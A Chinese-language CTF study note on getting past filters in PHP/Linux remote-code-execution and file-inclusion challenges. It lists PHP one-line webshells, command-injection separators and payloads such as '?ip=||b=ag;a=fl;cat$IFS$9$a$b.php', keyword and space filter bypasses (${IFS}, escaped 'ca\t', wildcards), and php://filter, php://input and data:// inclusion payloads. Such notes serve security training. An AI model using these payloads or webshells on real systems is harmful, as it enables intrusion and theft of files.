CTF中的一些RCE过滤
有关RCE的题目
BUUCTF pingpingping
ctfhub RCE
过滤的思考
RCE命令执行<?php @eval(GET['cmd']); ?>。一句话木马可以执行PHP函数来找到flag。
命令执行phpinfo()中的disable_function函数可以查看被过滤的函数。
本地执行
var_dump()函数
以下函数都要在var_dump()函数内执行
- scandir()
- file_get_contents()
- readfile()
无参数函数执行
system()调用外部命令的过滤
管道符的妙用
; & && | ||
:这些管道符衔接其他命令可以执行一些Linux代码
||
:直接衔接Linux命令实现跳出ping,可见如下博客
buuctf_LinuxRCE_Ping Ping Ping
;分号被过滤
分号被过滤,使用%0a绕过
cat被过滤
ca\t:利用正则表达式的\,\后面跟正常字符
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
以上都被过滤还有grep
:Linux的grep
空格被过滤
可以使用<>
绕过,或者在url中使用%09
(Tab),%20
(space)
${IFS}
,$IFS$9
进行绕过.
flag被过滤
利用通配符来绕过:
匹配任何字符串/文本,包括空字符串;
*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
利用拼接绕过:
在linux下:a=who;b=ami;$a$b
等效于执行whoami
我们只要在定义时候把flag的顺序调整一下就好了即:b=ag;a=fl;$a$b
跑一下是试试看:xxxx/?ip=||b=ag;a=fl;cat$IFS$9$a$b.php
文件包含
文件包含漏洞
?file=文件
可能存在文件包含漏洞和PHP中有include
函数出现
漏洞利用–封装协议
因为漏洞的存在,我们可以从中获取我们想要得到的资源。CTF中常用的php伪协议利用
- 读取敏感本地文件
方法:直接打开敏感文件;利用一句话木马<?php @eval($_POST['attack']);?>
获得更大操作权限 - PHP封装协议
?file=php://filter/read=convert.base64-encode/resource=config.php
它可以读取对应文件源代码,得到的结果经过Base64解密后得到的是config.php源代码?file=php://input
写入PHP文件。它受限于allow_url_include选项。php://input可以读取没有处理过的POST数据。
?file=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
,d2VsY29tZSB0byB0aGUgempjdGY=是welcome to the zjctf。它和http://input
一样都可以把一些内容写入其中。
$file = $_GET["file"];
$content1 = file_get_contents($file,'r');
echo $content1; // 输出结果是:welcome to the ctf
$content2 = file_get_contents('php://input');
echo $content2; // 输出结果是:welcome to the ctf
4.file:///var/www/html/flag.php
读取本地文件,路径要是相对路径。可用于读取web目录下的文件。